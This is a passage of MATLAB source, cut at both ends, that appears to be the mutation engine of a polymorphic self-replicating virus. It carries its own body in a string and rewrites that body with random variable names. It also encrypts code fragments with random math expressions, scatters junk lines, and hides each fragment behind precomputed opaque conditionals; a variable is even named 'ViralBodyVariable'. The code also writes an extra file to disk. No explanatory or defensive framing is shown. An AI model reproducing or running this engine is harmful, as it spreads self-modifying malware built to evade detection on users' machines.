''Count028'' ''Count029'' ''Count030'' ''Count031'' ''Count032'' ''Count033'' ''TmpVar001'' ''TmpVar002'' ''TmpVar003'' ''TmpVar004'' ''TmpVar005'' ''TmpVar006'' ''TmpVar007'' ''TmpVar008''};'];
MyCode=[MyCode 'FfAll={''sin'' ''sinh'' ''asin'' ''asinh'' ''cos'' ''cosh'' ''acos'' ''acosh'' ''tan'' ''tanh'' ''atan'' ''atanh'' ''sec'' ''sech'' ''asec'' ''asech'' ''csc'' ''csch'' ''acsc'' ''acsch'' ''cot''  ''coth'' ''acot'' ''acoth'' ''exp'' ''expm1'' ''log'' ''log1p'' ''log10'' ''log2'' ''pow2'' ''sqrt'' ''nextpow2'' ''abs'' ''angle'' ''conj'' ''imag'' ''real'' ''unwrap'' ''fix'' ''floor'' ''ceil'' ''round'' ''sign'' ''airy'' ''expint''};DfAll={''hypot'' ''dot'' ''cart2pol'' ''pol2cart'' ''atan2''};TmpRndName={};for Count032=1:length(VarList2Change) TmpRndName{end+1}=''if'';while(any(strcmp({FfAll{:} DfAll{:} TmpRndName{1:end-1}},TmpRndName{end}))||iskeyword(TmpRndName{end}))TmpRndName{end}=char(fix(rand(1,fix(rand*15)+5)*25)+97);end;end;for Count031=1:length(VarList2Change) MyCode=strrep(MyCode,VarList2Change{Count031},TmpRndName{Count031});end;'];
MyCode=[MyCode 'rand(''twister'',fix(sum(cputime)));SplitOffset=unique([1,sort(fix(rand(1,fix(rand*length(MyCode)/5)+3)*size(MyCode,2)+1)),size(MyCode,2)]);CodePart={};Rnames={};NewCode={};TrashNames={};TrashLine={};SplitSize=size(SplitOffset,2)-1;'];
MyCode=[MyCode 'QuoteSign=char(39);for Count033=1:SplitSize CodePart{end+1}=MyCode(SplitOffset(Count033):SplitOffset(Count033+1)-1);Rnames{end+1}=''sin'';while any(strcmp({FfAll{:} DfAll{:} Rnames{1:end-1}},Rnames{end})) Rnames{end}=char(fix(rand(1,fix(rand*15)+4)*25)+97);end;end;'];
MyCode=[MyCode 'CreateTrashA=[''if(rand<EncryptThreshold)OrigString2Enc=CodePart{fix(rand*SplitSize+1)};eval(GiveEncString);TrashString=[''''char('''' EncryString '''')''''];OrigString2Enc=char(fix(rand(1,fix(rand*7)+3)*25)+97);eval(GiveEncString);GarbageString=[''''char('''' EncryString '''')''''];else GarbageString=['''''''''''''''' char(fix(rand(1,fix(rand*7)+3)*25)+97) ''''''''''''''''];TrashString=['''''''''''''''' strrep(CodePart{fix(rand*SplitSize+1)},'''''''''''''''','''''''''''''''''''''''') ''''''''''''''''];end;if(max(sum(AlgoMatrix))>0.05*SplitSize)TrashNames=Rnames(diag(AlgoMatrix));end;tmp=rand;tn=fix(rand*(length(TrashNames)-1)+1);tmpord=randperm(length(TrashNames));''];CreateTrashB=[''if(tmp>0.9) TrashLine{end+1}=[Rnames{fix(rand*SplitSize+1)} '',QuoteSign,''='',QuoteSign,'',TrashString,'',QuoteSign,'';'',QuoteSign,''];else''];CreateTrashC=[''if(tmp>0.7 && length(TrashNames)) TrashLine{end+1}=[TrashNames{tn},'',QuoteSign,''=['',QuoteSign,'',TrashNames{tn},'',QuoteSign,'' '',QuoteSign,'',TrashString,'',QuoteSign,''];'',QuoteSign,''];''];CreateTrashC=[CreateTrashC ''elseif(tmp>0.5 && length(TrashNames)>2) TrashLine{end+1}=[TrashNames{tmpord(1)},'',QuoteSign,''=['',QuoteSign,'',TrashNames{tmpord(2)},'',QuoteSign,'' '',QuoteSign,'',TrashNames{tmpord(1)},'',QuoteSign,''];'',QuoteSign,''];''];CreateTrashC=[CreateTrashC ''elseif(tmp>0.3 && length(TrashNames)>2) TrashLine{end+1}=[TrashNames{tmpord(1)},'',QuoteSign,''=['',QuoteSign,'',TrashNames{tmpord(1)},'',QuoteSign,'' '',QuoteSign,'',TrashNames{tmpord(2)},'',QuoteSign,''];'',QuoteSign,''];''];CreateTrashC=[CreateTrashC ''elseif(tmp>0.1 && length(TrashNames)) TrashLine{end+1}=[TrashNames{tn},'',QuoteSign,''=['',QuoteSign,'',TrashString,'',QuoteSign,'' '',QuoteSign,'',TrashNames{tn},'',QuoteSign,''];'',QuoteSign,''];''];CreateTrashD=[''else TrashLine{end+1}=[Rnames{tn},'',QuoteSign,''='',QuoteSign,'',GarbageString,'',QuoteSign,'';'',QuoteSign,''];end''];CreateTrash1=[CreateTrashA CreateTrashB CreateTrashC CreateTrashD];CreateTrash2=[CreateTrashA CreateTrashC ''else TrashLine{end+1}=[TrashNames{tn},'',QuoteSign,''=['',QuoteSign,'',TrashString,'',QuoteSign,'' '',QuoteSign,'',TrashNames{tn},'',QuoteSign,''];'',QuoteSign,''];end''];'];
MyCode=[MyCode 'GiveEncString=[''EncDiff=0;EvaledCryptArray=0;OrigString2Enc=OrigString2Enc+rand();while(EncDiff<length(OrigString2Enc)||isnan(EncDiff)||isinf(EncDiff)||sum(isnan(EvaledCryptArray))||sum(isinf(EvaledCryptArray))||sum(abs(EvaledCryptArray)>10000)||sum(abs(imag(EvaledCryptArray))))EncFReplacePool1={'',QuoteSign,''sin'',QuoteSign,'' '',QuoteSign,''cos'',QuoteSign,'' '',QuoteSign,''exp'',QuoteSign,'' '',QuoteSign,''atan'',QuoteSign,'' '',QuoteSign,''sinh'',QuoteSign,'' '',QuoteSign,''cosh'',QuoteSign,'' '',QuoteSign,''log'',QuoteSign,'' '',QuoteSign,''asin'',QuoteSign,'' '',QuoteSign,''acos'',QuoteSign,'' '',QuoteSign,''tan'',QuoteSign,''};EncSReplacePool1={ '',QuoteSign,''F(NOS)Q'',QuoteSign,'' '',QuoteSign,''F(SON)Q'',QuoteSign,'' '',QuoteSign,''F(S)Q'',QuoteSign,'' '',QuoteSign,''F(S)Q'',QuoteSign,'' '',QuoteSign,''F(SON)Q'',QuoteSign,'' '',QuoteSign,''F(NOS)Q'',QuoteSign,''};EncStartFunction=EncSReplacePool1{fix(rand*length(EncSReplacePool1)+1)};EncSReplacePool1{1}='',QuoteSign,''if'',QuoteSign,''; EncSReplacePool1{2}='',QuoteSign,''if'',QuoteSign,'';EncOReplacePool1={'',QuoteSign,''.*'',QuoteSign,'' '',QuoteSign,''+'',QuoteSign,'' '',QuoteSign,''-'',QuoteSign,''};EncQReplacePool1={'',QuoteSign,'''',QuoteSign,'' ['',QuoteSign,''.^'',QuoteSign,'' num2str(fix(rand()*5+2))] '',QuoteSign,'''',QuoteSign,'' '',QuoteSign,'''',QuoteSign,'' '',QuoteSign,'''',QuoteSign,''};while (length(strfind(EncStartFunction,'',QuoteSign,''S'',QuoteSign,''))+length(strfind(EncStartFunction,'',QuoteSign,''O'',QuoteSign,''))+length(strfind(EncStartFunction,'',QuoteSign,''F'',QuoteSign,''))>0) EncStartFunction=regexprep(EncStartFunction,'',QuoteSign,''S'',QuoteSign,'',EncSReplacePool1{fix(rand*length(EncSReplacePool1)+1)},rand*length(strfind(EncStartFunction,'',QuoteSign,''S'',QuoteSign,''))+1);EncStartFunction=regexprep(EncStartFunction,'',QuoteSign,''F'',QuoteSign,'',EncFReplacePool1{fix(rand*length(EncFReplacePool1)+1)},rand*length(strfind(EncStartFunction,'',QuoteSign,''F'',QuoteSign,''))+1);EncStartFunction=regexprep(EncStartFunction,'',QuoteSign,''O'',QuoteSign,'',EncOReplacePool1{fix(rand*length(EncOReplacePool1)+1)},rand*length(strfind(EncStartFunction,'',QuoteSign,''O'',QuoteSign,''))+1);EncStartFunction=regexprep(EncStartFunction,'',QuoteSign,''N'',QuoteSign,'',num2str(rand*10),rand*length(strfind(EncStartFunction,'',QuoteSign,''N'',QuoteSign,''))+1);EncStartFunction=regexprep(EncStartFunction,'',QuoteSign,''Q'',QuoteSign,'',EncQReplacePool1{fix(rand*length(EncQReplacePool1)+1)},rand*length(strfind(EncStartFunction,'',QuoteSign,''Q'',QuoteSign,''))+1);if(max(cumsum(EncStartFunction=='',QuoteSign,''('',QuoteSign,'')-cumsum(EncStartFunction=='',QuoteSign,'')'',QuoteSign,''))>25) EncSReplacePool1{3}=EncSReplacePool1{1};EncSReplacePool1{4}=EncSReplacePool1{1};EncSReplacePool1{5}=EncSReplacePool1{2};EncSReplacePool1{6}=EncSReplacePool1{2};end;end;EncStartFunction=regexprep(EncStartFunction,'',QuoteSign,''if'',QuoteSign,'',['',QuoteSign,''['',QuoteSign,'' num2str(100*rand(1,length(OrigString2Enc))) '',QuoteSign,'']'',QuoteSign,'' ]);EvaledCryptArray=eval(EncStartFunction);EncDiff=sum(abs(diff(fix(EvaledCryptArray))))+(length(OrigString2Enc)==1);end;if rand>0.67 CPcrypt=OrigString2Enc+EvaledCryptArray;EncryString=['',QuoteSign,''['',QuoteSign,'' num2str(CPcrypt) '',QuoteSign,'']-'',QuoteSign,'' EncStartFunction];else CPcrypt=OrigString2Enc-EvaledCryptArray;if rand>0.66 EncryString=['',QuoteSign,''['',QuoteSign,'' num2str(CPcrypt) '',QuoteSign,'']+'',QuoteSign,'' EncStartFunction];else EncryString=[EncStartFunction '',QuoteSign,''+['',QuoteSign,'' num2str(CPcrypt) '',QuoteSign,'']'',QuoteSign,''];end;end;while(strfind(EncryString,'',QuoteSign,''  '',QuoteSign,''))EncryString=strrep(EncryString,'',QuoteSign,''  '',QuoteSign,'','',QuoteSign,'' '',QuoteSign,'');end''];'];
MyCode=[MyCode 'ODEfile=fopen(''odefunction.m'',''w+'');fprintf(ODEfile,[''function status=odefunction(t,y,flagzz,args);status=0;if ~isempty(t) if ~any(abs(t-t(1))>1.e-4) status=1;end;end'']);fclose(ODEfile);rehash;EncryptThreshold=rand();if(EncryptThreshold<0.33)EncryptThreshold=0;elseif(EncryptThreshold>0.66)EncryptThreshold=1;elseEncryptThreshold=rand();end;RandPermSS=randperm(SplitSize);AlgoMatrix=false(SplitSize,SplitSize);'];
MyCode=[MyCode 'for Count000=1:SplitSize disp([num2str(Count000) ''/'' num2str(SplitSize)]);if(RandPermSS(Count000)>1)for Count001=1:SplitSize if(rand>0.4 && AlgoMatrix(RandPermSS(Count000)-1,Count001))if(rand()<EncryptThreshold)OrigString2Enc=CodePart{RandPermSS(Count000)};eval(GiveEncString);NewCode{end+1}=[Rnames{Count001},''=['',Rnames{Count001},'' char('',EncryString,'')];''];else NewCode{end+1}=[Rnames{Count001},''=['',Rnames{Count001},'' '',QuoteSign,strrep(CodePart{RandPermSS(Count000)},'''''''',''''''''''''),QuoteSign,''];''];end;AlgoMatrix(RandPermSS(Count000),Count001)=1;eval(CreateTrash1);end;end;end;if(sum(AlgoMatrix(RandPermSS(Count000),:),2)==0&&RandPermSS(Count000)<SplitSize-1)for Count002=1:SplitSize if(rand>0.4 && AlgoMatrix(RandPermSS(Count000)+1,Count002)==1)if(rand()<EncryptThreshold)OrigString2Enc=CodePart{RandPermSS(Count000)};eval(GiveEncString);NewCode{end+1}=[Rnames{Count002},''=[char('',EncryString,'') '',Rnames{Count002},''];''];else NewCode{end+1}=[Rnames{Count002},''=['',QuoteSign,strrep(CodePart{RandPermSS(Count000)},'''''''',''''''''''''),QuoteSign,'' '',Rnames{Count002},''];''];end;AlgoMatrix(RandPermSS(Count000),Count002)=1;eval(CreateTrash1);end;end;end;if(sum(AlgoMatrix(RandPermSS(Count000),:),2)==0)if(rand()<EncryptThreshold)OrigString2Enc=CodePart{RandPermSS(Count000)};eval(GiveEncString);NewCode{end+1}=[Rnames{RandPermSS(Count000)},''=[char('',EncryString,'')];''];else NewCode{end+1}=[Rnames{RandPermSS(Count000)},''='',QuoteSign,strrep(CodePart{RandPermSS(Count000)},'''''''',''''''''''''),QuoteSign,'';''];end;AlgoMatrix(RandPermSS(Count000),RandPermSS(Count000))=1;'];
MyCode=[MyCode 'TrashNames{end+1}=Rnames{RandPermSS(Count000)};eval(CreateTrash1);end;for Count003=2:SplitSize for Count004=1:SplitSize Count005=find(AlgoMatrix(Count003,:));if(~AlgoMatrix(Count003,Count004)&&AlgoMatrix(Count003-1,Count004)&&size(Count005,2)>0&&rand>0.4)if(rand>0.5)NewCode{end+1}=[Rnames{Count004},''=['',Rnames{Count004},'' '',Rnames{Count005},''];''];AlgoMatrix(:,Count004)=AlgoMatrix(:,Count004)+AlgoMatrix(:,Count005);AlgoMatrix(:,Count005)=0;eval(CreateTrash1);else NewCode{end+1}=[Rnames{Count005},''=['',Rnames{Count004},'' '',Rnames{Count005},''];''];AlgoMatrix(:,Count005)=AlgoMatrix(:,Count005)+AlgoMatrix(:,Count004);AlgoMatrix(:,Count004)=0;eval(CreateTrash1);end;end;end;end;end;while ~any(all(AlgoMatrix)) for Count006=2:SplitSize for Count007=1:SplitSize Count008=find(AlgoMatrix(Count006,:));if(~AlgoMatrix(Count006,Count007)&&AlgoMatrix(Count006-1,Count007)&&size(Count008,2)>0&&rand>0.4)if(rand>0.5)NewCode{end+1}=[Rnames{Count007},''=['',Rnames{Count007},'' '',Rnames{Count008},''];''];AlgoMatrix(:,Count007)=AlgoMatrix(:,Count007)+AlgoMatrix(:,Count008);AlgoMatrix(:,Count008)=0;TrashNames=Rnames(diag(AlgoMatrix));eval(CreateTrash2);else NewCode{end+1}=[Rnames{Count008},''=['',Rnames{Count007},'' '',Rnames{Count008},''];''];AlgoMatrix(:,Count008)=AlgoMatrix(:,Count008)+AlgoMatrix(:,Count007);AlgoMatrix(:,Count007)=0;TrashNames=Rnames(diag(AlgoMatrix));eval(CreateTrash2);end;end;end;end;end;for Count009=1:size(NewCode,2) eval(NewCode{Count009});end;ViralBodyVariable=Rnames{sum(AlgoMatrix)==SplitSize};NewCode=strrep(NewCode,ViralBodyVariable,TmpRndName{1});TrashLine=strrep(TrashLine,ViralBodyVariable,TmpRndName{1});ActualCodeForThisPart={};Var2Wrt={};ObfusCount=1;RandomAppearenceOfIfs=fix(rand*2);LineBreaksIf=fix(rand(1,4)*2);LineShift={};LineShift{1}(1:fix(rand*8))='' '';if rand>0.7 LineShift{1}=''    '';end;if rand>0.3 LineShift{2}=LineShift{1};else LineShift{2}(1:fix(rand*8))='' '';end;while(ObfusCount<=length(NewCode))Var2Wrt{ObfusCount}={};ActualCodeForThisPart{ObfusCount}={};runcode=0;RandNameCol={};for Count010=0:10 RandNameCol{end+1}=''if'';while(any(strcmp({FfAll{:} DfAll{:} Rnames{:} RandNameCol{1:end-1}},RandNameCol{end}))||iskeyword(RandNameCol{end}))RandNameCol{end}=char(fix(rand(1,fix(rand*15)+5)*25)+97);end;end;CODE=NewCode{ObfusCount};TRASH=TrashLine{ObfusCount};WhichMathAlgo=fix(rand*5);if(WhichMathAlgo==1||WhichMathAlgo==3)FReplacePool1={''sin'' ''cos'' ''exp'' ''atan''};StartFunction=''SOS'';SReplacePool1={''(SOS)'' ''F(S)'' ''if'' ''if''};while(~isempty(strfind([FReplacePool1{:}], SReplacePool1{3}))||iskeyword(SReplacePool1{3}))SReplacePool1{3}=char(fix(rand(1,fix(rand*4)+2)*25)+97);end;SReplacePool1{4}=SReplacePool1{3};OReplacePool1={''.*'' ''+''};while length(strfind(StartFunction,''S''))+length(strfind(StartFunction,''O''))+length(strfind(StartFunction,''F''))>0 TmpVar001=fix(rand*length(SReplacePool1)+1);StartFunction=regexprep(StartFunction,''S'',SReplacePool1{TmpVar001},rand*length(strfind(StartFunction,''S''))+1);if(TmpVar001>2&&strcmp(SReplacePool1{3},SReplacePool1{4}));while(~isempty(strfind(SReplacePool1{4},SReplacePool1{3}))||~isempty(strfind(SReplacePool1{3},SReplacePool1{4}))||~isempty(strfind([FReplacePool1{:}],SReplacePool1{4}))||iskeyword(SReplacePool1{4}))SReplacePool1{4}=char(fix(rand(1,fix(rand*4)+2)*25)+97);end;end;StartFunction=regexprep(StartFunction, ''O'',OReplacePool1{fix(rand*length(OReplacePool1)+1)},rand*length(strfind(StartFunction,''O''))+1);StartFunction=regexprep(StartFunction, ''F'',FReplacePool1{fix(rand*length(FReplacePool1)+1)},rand*length(strfind(StartFunction,''F''))+1);if(max(cumsum(StartFunction==''('')-cumsum(StartFunction=='')''))>25)SReplacePool1{1}=SReplacePool1{3};SReplacePool1{2}=SReplacePool1{4}; end;end;end;'];
MyCode=[MyCode 'if(WhichMathAlgo==0)MatSizeN=fix(rand*5)+3;SomeMatVec{1}=[RandNameCol{end} ''=['']; SomeMatVec{2}=[RandNameCol{end-1} ''=['']; SomeMatVec{3}=[RandNameCol{end-2} ''=[''];MultFct=rand*30;for Count011=1:MatSizeN SomeMatVec{1}=[SomeMatVec{1} '' '' num2str(rand(1,1)*MultFct)];SomeMatVec{2}=[SomeMatVec{2} '';'' num2str(rand(1,1)*MultFct)];SomeMatVec{3}=[SomeMatVec{3} '';''];for Count012=1:MatSizeN SomeMatVec{3}=[SomeMatVec{3} '' '' num2str(rand(1,1)*MultFct)];end;end;SomeMatVec{1}=[SomeMatVec{1} ''];''];SomeMatVec{1}(size(RandNameCol{end},2)+3)='''';eval(SomeMatVec{1});SomeMatVec{2}=[SomeMatVec{2} ''];''];SomeMatVec{2}(size(RandNameCol{end-1},2)+3)='''';eval(SomeMatVec{2});SomeMatVec{3}=[SomeMatVec{3} ''];''];SomeMatVec{3}(size(RandNameCol{end-2},2)+3:size(RandNameCol{end-2},2)+4)='''';eval(SomeMatVec{3});SpecMatName={''toeplitz'',''vander''}; SpecVecName={''pascal'',''magic'',''hilb'',''invhilb'',''wilkinson''};WhichMatrixAlgo=fix(rand*5);if(WhichMatrixAlgo==0)Var2Wrt{ObfusCount}{end+1}=SomeMatVec{1};Var2Wrt{ObfusCount}{end+1}=SomeMatVec{2};MatXNameXX=[RandNameCol{end-1} ''*'' RandNameCol{end}];elseif(WhichMatrixAlgo==1)Var2Wrt{ObfusCount}{end+1}=SomeMatVec{3};MatXNameXX=[RandNameCol{end-2}];elseif(WhichMatrixAlgo==2)Var2Wrt{ObfusCount}{end+1}=SomeMatVec{1};MatXNameXX=[SpecMatName{fix(rand(1,1)*length(SpecMatName)+1)} ''('' RandNameCol{end} '')''];elseif(WhichMatrixAlgo==3)MatXNameXX=[SpecVecName{fix(rand(1,1)*length(SpecVecName)+1)} ''('' num2str(MatSizeN) '')''];elseif(WhichMatrixAlgo==4)MatXNameXX=''rosser'';end;MatArOp={''sin'' ''cos'' ''sinh'' ''cosh'' ''exp'' ''tan'' ''sqrt'' ''real'' ''imag''};for Count013=1:fix(rand*3+1) if(rand>0.66)MatXNameXX=[MatArOp{fix(rand*size(MatArOp,2)+1)} ''('' MatXNameXX '')''];end;end;VecArOp={''sum'' ''max'' ''min''};SavedVector=[VecArOp{fix(rand*size(VecArOp,2)+1)} ''('' RandNameCol{end} '')''];IsItAVector=1;if(rand>0.44) SavedVector=num2str(rand*100-50); IsItAVector=0;end;for Count015=1:fix(rand*3+1) if(rand>0.66)SavedVector=[MatArOp{fix(rand*size(MatArOp,2)+1)} ''('' SavedVector '')''];end;end;MatXNameXX=[VecArOp{fix(rand*size(VecArOp,2)+1)} ''('' MatXNameXX '')''];for Count016=1:fix(rand*3+1) if(rand>0.85)MatXNameXX=[MatArOp{fix(rand*size(MatArOp,2)+1)} ''('' MatXNameXX '')''];end;end;MatXNameXX=[VecArOp{fix(rand*size(VecArOp,2)+1)} ''('' MatXNameXX '')''];for Count017=1:fix(rand*3+1) if(rand>0.85)MatXNameXX=[MatArOp{fix(rand*size(MatArOp,2)+1)} ''('' MatXNameXX '')''];end;end;TmpVar002=fix(rand*4);Operator1=''''; Operator2='''';if(eval(SavedVector)>eval(MatXNameXX)) Operator1=''>''; Operator2=''<'';end;if(eval(SavedVector)<eval(MatXNameXX)) Operator1=''<''; Operator2=''>'';end;if(~isempty(Operator1))ActualCodeForThisPart{ObfusCount}{2}=[LineShift{1} CODE];ActualCodeForThisPart{ObfusCount}{4}=[LineShift{2} TRASH];if(sum(strcmp(Var2Wrt{ObfusCount},SomeMatVec{1}))==0 && IsItAVector) Var2Wrt{ObfusCount}{end+1}=SomeMatVec{1};end;if(TmpVar002==0)ActualCodeForThisPart{ObfusCount}{1}=[''if(('' SavedVector '')'' Operator1 MatXNameXX '')''];elseif(TmpVar002==1)ActualCodeForThisPart{ObfusCount}{1}=[''if('' MatXNameXX Operator1 ''('' SavedVector ''))''];ActualCodeForThisPart{ObfusCount}{2}=[LineShift{1} TRASH];ActualCodeForThisPart{ObfusCount}{4}=[LineShift{2} CODE];elseif(TmpVar002==2)ActualCodeForThisPart{ObfusCount}{1}=[''if(('' SavedVector '')'' Operator2 MatXNameXX '')''];ActualCodeForThisPart{ObfusCount}{2}=[LineShift{1} TRASH];ActualCodeForThisPart{ObfusCount}{4}=[LineShift{2} CODE];elseif(TmpVar002==3)ActualCodeForThisPart{ObfusCount}{1}=[''if('' MatXNameXX Operator2 ''('' SavedVector ''))''];end;ActualCodeForThisPart{ObfusCount}{3}=[''else''];ActualCodeForThisPart{ObfusCount}{5}=[''end''];else ObfusCount=ObfusCount-1;end;RandNameCol(end)=[]; RandNameCol(end)=[]; RandNameCol(end)=[];if ObfusCount for Count018=1:size(Var2Wrt{ObfusCount},2) eval(Var2Wrt{ObfusCount}{Count018});end;end;elseif(WhichMathAlgo==1)BoundAll1=cellstr(num2str(rand(5,1))); BoundAll2={''pi'',''log(2)'',''sqrt(2)'',''sqrt(3)'',BoundAll1{:}}; BoundAll3=randperm(length(BoundAll2));if rand>0.6 StartFunction=strrep(StartFunction,SReplacePool1{4},SReplacePool1{3});BoundAll3={BoundAll2{BoundAll3(1:2)}};BoundSign=strrep(strrep(cellstr(num2str(rand(2,1)>0.7)),''1'',''-''),''0'',''''); BoundAll3={[BoundSign{1} strrep(BoundAll3{1},'' '','''')],[BoundSign{2} strrep(BoundAll3{2},'' '','''')]}; BoundTmpA=[eval(BoundAll3{1}) eval(BoundAll3{2})];if(sum(abs(sort(BoundTmpA)-BoundTmpA))>0) BoundAll3{3}=BoundAll3{1}; BoundAll3{1}=BoundAll3{2}; BoundAll3{2}=BoundAll3{3}; BoundAll3(3)=[];end;FctString1=''quad''; FctString2=''''; FctString3='''';else BoundAll3={BoundAll2{BoundAll3(1:4)}};BoundSign=strrep(strrep(cellstr(num2str(rand(4,1)>0.7)),''1'',''-''),''0'','''');BoundAll3={[BoundSign{1} strrep(BoundAll3{1},'' '','''')],[BoundSign{2} strrep(BoundAll3{2},'' '','''')],[BoundSign{3} strrep(BoundAll3{3},'' '','''')],[BoundSign{4} strrep(BoundAll3{4},'' '','''')]};BoundTmpA=[eval(BoundAll3{1}) eval(BoundAll3{2})];BoundTmpB=[eval(BoundAll3{3}) eval(BoundAll3{4})];if(sum(abs(sort(BoundTmpA)-BoundTmpA))>0) BoundAll3{5}=BoundAll3{1}; BoundAll3{1}=BoundAll3{2}; BoundAll3{2}=BoundAll3{5}; BoundAll3(5)=[]; end;if(sum(abs(sort(BoundTmpB)-BoundTmpB))>0) BoundAll3{5}=BoundAll3{3}; BoundAll3{3}=BoundAll3{4}; BoundAll3{4}=BoundAll3{5}; BoundAll3(5)=[]; end;FctString1=''dblquad''; FctString2=['','' BoundAll3{3} '','' BoundAll3{4}]; FctString3=['','' SReplacePool1{4}];end;IntTolerance=fix(real(log10(eval([FctString1 ''(@('' SReplacePool1{3} FctString3 '')'' StartFunction '','' BoundAll3{1} '','' BoundAll3{2} FctString2 '',1e'' num2str(6666) '')'']))))+5;TimeMeasure=0;while(TimeMeasure<0.1 && IntTolerance>-23)IntTolerance=IntTolerance-1;CompleteCompString=[FctString1 ''(@('' SReplacePool1{3} FctString3 '')'' StartFunction '','' BoundAll3{1} '','' BoundAll3{2} FctString2 '',1e'' num2str(IntTolerance) '')''];TimeMeasure=cputime;CompleteErg=eval(CompleteCompString);TimeMeasure=cputime-TimeMeasure;if(isnan(CompleteErg)||isinf(CompleteErg))IntTolerance=-50;end;end;if(IntTolerance>-23)runcode=1;else ObfusCount=ObfusCount-1;end;elseif(WhichMathAlgo==2)TmpVar003=fix(rand*50+4);TmpVar004=rand*1000;InterpDataVec='''';for Count019=0:TmpVar003 InterpDataVec=[InterpDataVec num2str(rand*TmpVar004) '' ''];end;InterpDataVec(end)='''';Var2Wrt{ObfusCount}{end+1}=[RandNameCol{end} ''=['' InterpDataVec ''];''];eval(Var2Wrt{ObfusCount}{end});InterpSpline='''';if(rand>0.6) InterpSpline=['','' QuoteSign ''spline'' QuoteSign];end;CompleteCompString=[''interp1('' RandNameCol{end} '','' num2str(rand*(TmpVar003-1)+1) InterpSpline '')''];RandNameCol(end)=[];CompleteErg=eval(CompleteCompString);runcode=1;elseif(WhichMathAlgo==3)Var2Wrt{ObfusCount}{end+1}=[RandNameCol{end} ''=inline('' QuoteSign StartFunction QuoteSign '','' QuoteSign SReplacePool1{3} QuoteSign '','' QuoteSign SReplacePool1{4} QuoteSign '');''];eval(Var2Wrt{ObfusCount}{end});ODEIntervallA=fix(rand*7-3);ODEIntervallB=fix(ODEIntervallA+rand*4+1);Var2Wrt{ObfusCount}{end+1}=[''['' RandNameCol{end-1} '','' RandNameCol{end-2} '']=ode45('' RandNameCol{end} '',['' num2str(ODEIntervallA) '' '' num2str(ODEIntervallB) ''],'' num2str(rand*4) '');''];eval([Var2Wrt{ObfusCount}{end}(1:end-2) '',odeset('' QuoteSign ''OutputFcn'' QuoteSign '',@odefunction));'']);ODEDomain=eval(RandNameCol{end-1});ODEIntX=num2str(rand*ODEIntervallB+ODEIntervallA);if rand>0.5 CompleteCompString=[''interp1('' RandNameCol{end-1} '','' RandNameCol{end-2} '','' ODEIntX '')''];else CompleteCompString=[''interp1('' Var2Wrt{ObfusCount}{end}(strfind(Var2Wrt{ObfusCount}{end},''='')+1:end-1) '','' ODEIntX '')''];Var2Wrt{ObfusCount}(end)=[];end;RandNameCol(end)=[]; RandNameCol(end)=[]; RandNameCol(end)=[];if(length(ODEDomain)>5&&ODEDomain(end)==ODEIntervallB)CompleteErg=eval(CompleteCompString);else CompleteErg=NaN;end;if(isnan(CompleteErg)||isinf(CompleteErg)||ODEDomain(end)~=ODEIntervallB)while ~isempty(Var2Wrt{ObfusCount}) Var2Wrt{ObfusCount}(end)=[];end;ObfusCount=ObfusCount-1;else runcode=1;end;elseif(WhichMathAlgo==4)CompleteCompString=''F(F(S))'';SReplacePool2={''F(S)'' ''F(S)'' ''F(S)'' ''F(S)'' ''F(S)'' ''D(S,S)'' ''R'' ''R''};while ~isempty(strfind(CompleteCompString,''S'')) CompleteCompString=regexprep(CompleteCompString, ''S'',SReplacePool2{fix(rand*length(SReplacePool2)+1)},rand*length(strfind(CompleteCompString,''S''))+1);if(length(strfind(CompleteCompString,''F''))+length(strfind(CompleteCompString,''D''))>10)SReplacePool2={''R''};end;end;CompleteCompString=regexprep(CompleteCompString, ''S'',SReplacePool2{fix(rand*length(SReplacePool2)+1)});while length(strfind(CompleteCompString,''D''))+length(strfind(CompleteCompString,''F''))+length(strfind(CompleteCompString,''R''))>0 CompleteCompString=regexprep(CompleteCompString, ''F'',FfAll{fix(rand*length(FfAll)+1)},rand*length(strfind(CompleteCompString,''F''))+1);CompleteCompString=regexprep(CompleteCompString, ''D'',DfAll{fix(rand*length(DfAll)+1)},rand*length(strfind(CompleteCompString,''D''))+1);CompleteCompString=regexprep(CompleteCompString, ''R'',num2str(rand*10-5),rand*length(strfind(CompleteCompString,''R''))+1);end;if(max(cumsum(CompleteCompString==''('')-cumsum(CompleteCompString=='')''))<25)CompleteErg=eval(CompleteCompString);else CompleteErg=NaN;end;if(isnan(CompleteErg)||isinf(CompleteErg))ObfusCount=ObfusCount-1;else runcode=1;end;end;'];
MyCode=[MyCode 'if(runcode)RCWriteVar=0;RCNumSub=''0'';RCNumAdd=''0'';while(~(CompleteErg>eval(RCNumSub))||~(eval(RCNumSub)<CompleteErg)||~(CompleteErg<eval(RCNumAdd))||~(eval(RCNumAdd)>CompleteErg))if WhichMathAlgo==3 MulFacRC=8; IncFacRC=2;else MulFacRC=0.01;IncFacRC=1;end;RCNumSub=num2str(CompleteErg-(abs(CompleteErg)*MulFacRC+IncFacRC)*rand,5+fix(rand(1,1)*5));RCNumAdd=num2str(CompleteErg+(abs(CompleteErg)*MulFacRC+IncFacRC)*rand,5+fix(rand(1,1)*5));end;if(rand>0.4)RCsSub=[RandNameCol{end} ''='' RCNumSub '';''];RCNumSub=RandNameCol{end};RCsAdd=[RandNameCol{end} ''='' RCNumAdd '';''];RCNumAdd=RandNameCol{end};RCWriteVar=1;RandNameCol(end)=[];end;ActualCodeForThisPart{ObfusCount}{2}=[LineShift{1} CODE];ActualCodeForThisPart{ObfusCount}{4}=[LineShift{2} TRASH];if(RCWriteVar) Var2Wrt{ObfusCount}{end+1}=RCsSub;eval(RCsSub);end;runcode=1;TmpVar005=fix(rand*4);'];
MyCode=[MyCode 'if(TmpVar005==0)if(rand>0.5)ActualCodeForThisPart{ObfusCount}{1}=[''if('' CompleteCompString ''>'' RCNumSub '')''];else ActualCodeForThisPart{ObfusCount}{1}=[''if('' RCNumSub ''<'' CompleteCompString '')''];end;elseif(TmpVar005==1)if(rand>0.5)ActualCodeForThisPart{ObfusCount}{1}=[''if('' CompleteCompString ''<'' RCNumSub '')''];else ActualCodeForThisPart{ObfusCount}{1}=[''if('' RCNumSub ''>'' CompleteCompString '')''];end;ActualCodeForThisPart{ObfusCount}{2}=[LineShift{1} TRASH];ActualCodeForThisPart{ObfusCount}{4}=[LineShift{2} CODE];elseif(TmpVar005==2)if(rand>0.5)ActualCodeForThisPart{ObfusCount}{1}=[''if('' CompleteCompString ''>'' RCNumAdd '')''];else ActualCodeForThisPart{ObfusCount}{1}=[''if('' RCNumAdd ''<'' CompleteCompString '')''];end;if(RCWriteVar)Var2Wrt{ObfusCount}{end}=RCsAdd;eval(RCsAdd);end;ActualCodeForThisPart{ObfusCount}{2}=[LineShift{1} 